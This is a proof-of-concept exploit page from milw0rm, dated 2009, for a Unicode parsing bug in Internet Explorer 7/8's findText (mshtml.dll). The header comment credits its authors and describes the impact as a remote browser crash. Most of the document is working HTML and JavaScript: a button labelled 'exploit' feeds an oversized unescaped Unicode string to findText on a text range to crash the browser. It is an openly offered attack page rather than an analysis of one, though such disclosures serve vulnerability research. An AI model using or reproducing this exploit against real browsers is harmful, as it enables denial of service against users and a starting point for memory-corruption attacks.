44 lines
No EOL
1.5 KiB
HTML
44 lines
No EOL
1.5 KiB
HTML
<meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
|
|
<!--
|
|
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
|
|
Title: MS Internet Explorer findText Unicode Parsing error
|
|
Vulnerability (mshtml.dll)
|
|
Bug discovered: Hong10
|
|
PoC code: AmesianX & Hong10
|
|
Critical: low
|
|
Impact: MS Internet Explorer 7/8 Crash
|
|
Where: From remote
|
|
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language)
|
|
|
|
Solution: I don't know..
|
|
|
|
Description:
|
|
The following bug was tested on the latest version of Internet
|
|
Explorer 7/8.
|
|
|
|
by research team NSHC
|
|
-->
|
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
|
<html><head><title>IE findText crash</title>
|
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
|
|
<input type="button" value="exploit" onclick="do_crash();">
|
|
Hit the button after ie7/8 crash..
|
|
<script>
|
|
function do_crash()
|
|
{
|
|
var o1=document.createElement("input");
|
|
o1.type="text"; //or password
|
|
o1.id="powerhacker";
|
|
o1.value="AAAA";
|
|
document.body.appendChild(o1);
|
|
var r= o1.createTextRange();
|
|
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
|
|
//maybe string length allocated stack but over length allocated heap memory
|
|
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
|
|
//this code is no crash becase 3 parameter
|
|
}
|
|
</script>
|
|
</body></html>
|
|
<html><body></body></html>
|
|
|
|
# milw0rm.com [2009-07-24] |